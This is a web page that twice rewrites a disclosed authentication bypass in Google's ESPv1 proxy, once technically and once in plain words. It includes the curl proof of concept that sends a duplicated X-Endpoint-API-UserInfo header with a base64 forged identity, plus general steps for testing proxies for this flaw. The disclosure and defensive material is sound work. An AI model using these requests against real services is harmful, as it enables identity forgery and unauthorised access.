Skip to content
Access control Write-up Intermediate

Google Extensible Service Proxy v1 - CWE-287 Improper Authentication

The Extensible Service Proxy (ESP) v1 only removed the first occurrence of the X-Endpoint-API-UserInfo header from incoming requests, so a second, attacker-supplied copy passed through to the backend. On backends that read the last header value (such as PHP/Symfony), an attacker could make the backend treat forged identity data as authenticated user information.

Imre Rad Follow

Published on seclists.org

In a typical deployment, ESP is running and fronting the backend service on the same host (the backend listening in a private network namespace which is accessible to the public only through ESP). In other words: ESP is running in the security boundaries of the customer (from Google's point of view).

Imre Rad, on seclists.org

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

The original is short, so this covers everything it reports, then explains this kind of bug in general: how it works, how to test for it and how it is fixed. The general sections are about the bug class, not this target. Written with AI and checked against the original; the original is the record. 5 min read.

What the report shows

fulldisclosure logo
fulldisclosure logo From the original on seclists.org

Extensible Service Proxy (ESP) is Google's open source proxy that sits in front of Cloud Endpoints APIs. ESPv1 is nginx based and adds API management features to JSON/REST or gRPC services. In a typical deployment ESP fronts the backend on the same host, with the backend reachable only through ESP, so ESP runs inside the customer's security boundary.

Among its features, ESP authenticates callers and tells the backend who the caller is by injecting an X-Endpoint-API-UserInfo header while proxying the request. To stop clients forging that header, ESP strips it from incoming requests. The researcher found that the stripping only removed the first occurrence, so a second copy sent by the client survived.

For an API method that needs no authentication, a request like this:

Bash
curl -H "X-Endpoint-API-UserInfo: whatever" -H
"X-Endpoint-API-UserInfo: this-header-bypasses-the-protection" ...

reached the backend with both headers, the first one empty:

HTTP
X-Endpoint-API-UserInfo:
X-Endpoint-API-UserInfo: this-header-bypasses-the-protection

Authenticated methods are affected too. ESP adds its own valid header first, but the attacker's second copy still passes through:

HTTP
X-Endpoint-API-UserInfo: legitimate-header-constructed-by-ESPv1
X-Endpoint-API-UserInfo: this-header-bypasses-the-protection

The impact depends on which copy the backend's framework actually reads. The report lists the behaviours it observed: Golang's Header.Get() returns only the first value, Header["..."] returns all of them as an array, Symfony in PHP returns the last occurrence, and Python or Ruby join the values into a comma separated string. The PHP case is the high impact one, and the researcher demonstrated it to Google.

The demonstration followed the official PHP tutorial for Cloud Endpoints with ESPv1 on Compute Engine with Docker. A valid ID token was obtained:

Bash
valid_idtoken="$(gcloud auth print-identity-token
--audiences="YOUR-CLIENT-ID" )"

It was checked against an API method that requires a Google signed identity token and echoes back what it received in the X-Endpoint-API-UserInfo header:

Bash
curl     --header "content-type:application/json"
"http://[redacted]:80/auth/info/googleidtoken";  -v -H
"Authorization: Bearer $valid_idtoken"

The response looked like this:

JSON
{"claims":"{\u0022iss\u0022:\u0022https:\/\/accounts.google.com ...

A forged userinfo document was then built:

Bash
fake_userinfo="$(echo '{
  "id": "from-sub",
  "issuer": "from-iss",
  "email": "from-email",
  "audiences": ["from-aud"],
  "claims": "whatever"
}' | base64 -w0)"

and sent alongside the valid token, with a throwaway first copy and the forged value second:

Bash
curl     --header "content-type:application/json"
"http://[redacted]:80/auth/info/googleidtoken";  -v -H
"Authorization: Bearer $valid_idtoken"  -H "X-Endpoint-API-UserInfo:
doesntmatter" -H "X-Endpoint-API-UserInfo: $fake_userinfo"

The backend echoed the forged identity:

JSON
{"id":"from-sub","issuer":"from-iss","email":"from-email","audiences":["from-aud"],"claims":"whatever"}

Google fixed the flaw in commit [redacted] in the cloudendpoints/esp repository. Operators of ESPv1 fronted services with a vulnerable backend should upgrade to a version containing the fix, or migrate to ESPv2, which the report says is not affected. The timeline runs from discovery and submission on 9 August 2021, triage the same day, follow up questions and acceptance on 12 August, to confirmation on 18 September that the bugs created from the report had been fixed. The report gives no bounty or severity rating.

Root cause

The proxy's header sanitisation removed a single occurrence of X-Endpoint-API-UserInfo rather than every occurrence. The proxy removed only the first occurrence of the header, leaving any duplicates in place. The trust model assumed the header namespace was clean after sanitisation, so the backend could not tell ESP's value from a client supplied one.

Impact

Any backend that reads the last occurrence, or joins duplicates, can be made to act on an attacker chosen identity. In the PHP demonstration the API echoed the forged id, issuer, email, audiences and claims. Backends that read only the first value are not affected in the same way. The report frames impact as conditional on the backend framework.

How this kind of bug works

Proxies and gateways often pass identity to upstreams in headers, and they must strip client supplied copies of those headers before adding their own. HTTP allows repeated header fields, and different servers and frameworks disagree on how to expose them: first value, last value, array, or comma joined string. A sanitiser that assumes one value per name, or that removes only the first match, leaves a duplicate that the upstream may prefer. The same class appears with X-Forwarded-For, X-Real-IP, X-Original-URL and similar trust headers. Defences are to drop all occurrences of the header, to use a header name clients cannot set, and to have the backend reject requests carrying the header from outside the proxy.

How to test for it

  1. Identify headers the front end adds or trusts: identity headers, forwarding headers, routing or override headers. Documentation and error pages often name them.
  2. Send the header twice, with a marker value first and a second marker second, and observe what the backend reflects or logs. Try the order reversed as well.
  3. Compare behaviour with and without a valid credential, since some proxies only add their own header on authenticated routes.
  4. Test case variations and whitespace variants of the name, and duplicates split across differently cased names, to see whether sanitisation is name exact.
  5. A positive result is the backend acting on your marker: a changed identity in a response, a different user's data, or a log line showing your value survived.

Common false positives: the backend reads only the first value, so the duplicate is ignored; a WAF or load balancer collapses duplicates before the proxy sees them; the reflected value comes from an echo endpoint that does not use it for decisions. Confirm the value influences authorisation, not just output.

How it is fixed

Remove every occurrence of the protected header from inbound requests before adding the proxy's own, and do so case insensitively. Reject or normalise duplicate headers at the edge. Backends should treat the header as trusted only when the request arrives from the proxy, and should not fall back to client supplied values. Upgrading the proxy to a fixed release, or moving to a rewrite without the flaw, closes it.

Hunting notes

Look at API gateways, service meshes, auth proxies and CDNs that inject identity or routing headers. Recon signals include documentation describing an injected header, backends that echo request headers, and stacks where the framework reads the last duplicate. To get a report accepted, show the forged value reaching the backend on a realistic deployment, as the PHP demonstration did, and state which framework behaviour makes it exploitable.

The original is short, so this covers everything it reports, then explains this kind of bug in general: how it works, how to test for it and how it is fixed. The general sections are about the bug class, not this target. Written with AI and checked against the original; the original is the record. 7 min read.

What happened, in plain words

fulldisclosure logo
fulldisclosure logo From the original on seclists.org

Google offers a product called Cloud Endpoints, which helps developers publish APIs (the interfaces that apps and websites use to talk to a service). In front of those APIs sits a piece of software called the Extensible Service Proxy, or ESP. Think of it as a receptionist in the lobby of a building: every visitor must pass the receptionist before reaching the offices inside. The backend service (the actual API) is only reachable through this receptionist, so ESP runs inside the customer's own security boundary.

One of the receptionist's jobs is to check who the visitor is and then hand a note to the office saying "this person is X". ESP does this by adding an HTTP header called X-Endpoint-API-UserInfo to the request before passing it on. A header is a small labelled piece of information attached to a web request, like the label on a parcel. The backend trusts that note because only the receptionist is supposed to write it.

To stop visitors writing their own note, ESP removes any X-Endpoint-API-UserInfo header that arrives from outside. The researcher found that this removal only deleted the first copy. If a visitor sent two copies, the second one survived and reached the backend.

For an API method that needs no login at all, a request like this:

Bash
curl -H "X-Endpoint-API-UserInfo: whatever" -H
"X-Endpoint-API-UserInfo: this-header-bypasses-the-protection" ...

curl is a command line tool for sending web requests. Each -H adds one header. Here the attacker sends two copies of the protected header. The backend received both, with the first one emptied by ESP:

HTTP
X-Endpoint-API-UserInfo:
X-Endpoint-API-UserInfo: this-header-bypasses-the-protection

Methods that do require login are affected too. ESP adds its own valid header first, but the attacker's second copy still slips through:

HTTP
X-Endpoint-API-UserInfo: legitimate-header-constructed-by-ESPv1
X-Endpoint-API-UserInfo: this-header-bypasses-the-protection

Whether this matters depends on which copy the backend actually reads. The report lists what it observed: Golang's Header.Get() returns only the first value, Header["..."] returns all of them as an array, Symfony in PHP returns the last occurrence, and Python or Ruby join the values into a comma separated string. The PHP case is the dangerous one, because the backend reads the attacker's copy.

The researcher demonstrated it to Google using the official PHP tutorial for Cloud Endpoints with ESPv1 on Compute Engine with Docker. First, a valid ID token was obtained. A token is a short string that proves you logged in, like a stamped ticket:

Bash
valid_idtoken="$(gcloud auth print-identity-token
--audiences="YOUR-CLIENT-ID" )"

This stores a Google signed identity token in a variable. It was then checked against an API method that requires such a token and echoes back whatever it received in the X-Endpoint-API-UserInfo header:

Bash
curl     --header "content-type:application/json"
"http://[redacted]:80/auth/info/googleidtoken";  -v -H
"Authorization: Bearer $valid_idtoken"

The Authorization: Bearer header carries the token, and -v makes curl show the details. The response looked like this:

JSON
{"claims":"{\u0022iss\u0022:\u0022https:\/\/accounts.google.com ...

Next, a forged identity document was built and encoded so it could travel safely inside a header:

Bash
fake_userinfo="$(echo '{
  "id": "from-sub",
  "issuer": "from-iss",
  "email": "from-email",
  "audiences": ["from-aud"],
  "claims": "whatever"
}' | base64 -w0)"

This JSON describes a made up user, and base64 turns it into a plain text form. Finally the forged value was sent alongside the valid token, with a throwaway first copy and the forged value second:

Bash
curl     --header "content-type:application/json"
"http://[redacted]:80/auth/info/googleidtoken";  -v -H
"Authorization: Bearer $valid_idtoken"  -H "X-Endpoint-API-UserInfo:
doesntmatter" -H "X-Endpoint-API-UserInfo: $fake_userinfo"

The backend echoed the forged identity back:

JSON
{"id":"from-sub","issuer":"from-iss","email":"from-email","audiences":["from-aud"],"claims":"whatever"}

That shows the forged identity reached the backend and was echoed back. Google fixed the flaw in commit [redacted] in the cloudendpoints/esp repository. Operators should upgrade to a version containing the fix, or move to ESPv2, which the report says is not affected. The timeline runs from discovery and submission on 9 August 2021, triage the same day, follow up questions and acceptance on 12 August, to confirmation on 18 September that the bugs created from the report had been fixed. The report gives no bounty or severity rating.

In general, how this kind of bug works

Proxies and gateways often pass identity to the systems behind them in headers, and they must strip any client supplied copies before adding their own. HTTP allows the same header to appear more than once, and different servers and frameworks disagree on how to expose the copies: first value, last value, an array, or a comma joined string. A sanitiser that assumes one value per name, or that removes only the first match, leaves a duplicate that the system behind may prefer. The same pattern appears with headers such as X-Forwarded-For, X-Real-IP and X-Original-URL. Defences are to drop every occurrence of the header, to use a name clients cannot set, and to have the backend reject requests carrying the header from outside the proxy.

How to test for it

  1. Identify headers the front end adds or trusts: identity headers, forwarding headers, routing or override headers. Documentation and error pages often name them.
  2. Send the header twice, with a marker value first and a second marker second, and observe what the backend reflects or logs. Try the order reversed as well.
  3. Compare behaviour with and without a valid credential, since some proxies only add their own header on authenticated routes.
  4. Test case variations and whitespace variants of the name, and duplicates split across differently cased names, to see whether sanitisation is name exact.
  5. A positive result is the backend acting on your marker: a changed identity in a response, a different user's data, or a log line showing your value survived.

Common false positives: the backend reads only the first value, so the duplicate is ignored; a firewall or load balancer collapses duplicates before the proxy sees them; the reflected value comes from an echo endpoint that does not use it for decisions. Confirm the value influences authorisation, not just output.

How it is fixed

Remove every occurrence of the protected header from inbound requests before adding the proxy's own, and do so case insensitively. Reject or normalise duplicate headers at the edge. Backends should treat the header as trusted only when the request arrives from the proxy, and should not fall back to client supplied values. Upgrading the proxy to a fixed release, or moving to a rewrite without the flaw, closes it.

Where to look

Look at API gateways, service meshes, auth proxies and content delivery networks that inject identity or routing headers. Signals include documentation describing an injected header, backends that echo request headers, and stacks where the framework reads the last duplicate. To get a report accepted, show the forged value reaching the backend on a realistic deployment, as the PHP demonstration did, and state which framework behaviour makes it exploitable.

Glossary

  • API: the interface a service exposes so other software can talk to it.
  • Backend: the service that does the real work, sitting behind a proxy.
  • Cloud Endpoints: Google's product for publishing and managing APIs.
  • Content delivery network (CDN): a network of servers that caches and forwards web traffic.
  • curl: a command line tool for sending web requests.
  • ESP (Extensible Service Proxy): Google's proxy that sits in front of Cloud Endpoints APIs.
  • Framework: a software library that handles common tasks such as reading requests.
  • gRPC: a format for calling remote services, an alternative to JSON/REST.
  • Header: a labelled piece of information attached to a web request or response.
  • HTTP: the protocol browsers and servers use to exchange web requests and responses.
  • ID token: a signed string proving a user's identity after login.
  • JSON: a text format for structured data.
  • Load balancer: a component that spreads traffic across servers.
  • nginx: a widely used web server and proxy.
  • Proxy: software that sits between a client and a server and forwards requests.
  • REST: a common style of web API using standard HTTP methods.
  • Sanitisation: cleaning input, here removing headers clients should not set.
  • Service mesh: a layer that manages communication between services.
  • Token: a string that proves identity or permission.
  • WAF (web application firewall): a filter that inspects web traffic and blocks attacks.
  • X-Forwarded-For / X-Real-IP: headers used to pass a client's address through a proxy.
  • X-Original-URL: a header some proxies use to pass the original request path.
  • X-Endpoint-API-UserInfo: the header ESP uses to tell the backend who the caller is.

More by Imre Rad

View all

9 more disclosed reports, best first.

More from Google

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.